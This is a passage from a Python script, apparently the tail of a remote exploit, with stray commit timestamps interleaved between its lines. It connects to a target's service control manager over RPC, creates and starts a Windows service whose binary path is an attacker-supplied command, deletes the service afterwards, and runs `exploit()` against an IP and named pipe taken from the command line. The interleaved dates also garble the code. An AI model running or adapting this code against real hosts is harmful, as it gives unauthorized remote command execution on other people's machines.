scmr . hRCloseServiceHandle ( rpcsvc , resp [ ' lpServiceHandle ' ] )
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
print ( ' Creating service %s ..... ' % service_name )
resp = scmr . hRCreateServiceW ( rpcsvc , svcHandle , service_name + ' \x00 ' , service_name + ' \x00 ' , lpBinaryPathName = cmd + ' \x00 ' )
serviceHandle = resp [ ' lpServiceHandle ' ]
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
if serviceHandle :
# Start service
try :
print ( ' Starting service %s ..... ' % service_name )
scmr . hRStartServiceW ( rpcsvc , serviceHandle )
# is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called
2017-07-16 21:08:09 +07:00
#print('Stoping service %s.....' % service_name)
#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
2017-07-19 14:17:20 +02:00
except Exception as e :
2017-06-20 00:08:35 +07:00
print ( str ( e ) )
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
print ( ' Removing service %s ..... ' % service_name )
scmr . hRDeleteService ( rpcsvc , serviceHandle )
scmr . hRCloseServiceHandle ( rpcsvc , serviceHandle )
2017-07-19 14:17:20 +02:00
except Exception as e :
2017-07-11 22:49:00 +07:00
print ( " ServiceExec Error on: %s " % conn . get_remote_host ( ) )
2017-06-20 00:08:35 +07:00
print ( str ( e ) )
finally :
if svcHandle :
scmr . hRCloseServiceHandle ( rpcsvc , svcHandle )
rpcsvc . disconnect ( )
2017-07-16 22:50:44 +07:00
if len ( sys . argv ) < 2 :
print ( " {} <ip> [pipe_name] " . format ( sys . argv [ 0 ] ) )
2017-06-20 00:08:35 +07:00
sys . exit ( 1 )
target = sys . argv [ 1 ]
2017-07-16 22:50:44 +07:00
pipe_name = None if len ( sys . argv ) < 3 else sys . argv [ 2 ]
2017-06-20 00:08:35 +07:00
exploit ( target , pipe_name )
print ( ' Done ' )
2018-01-29 22:34:40 -07:00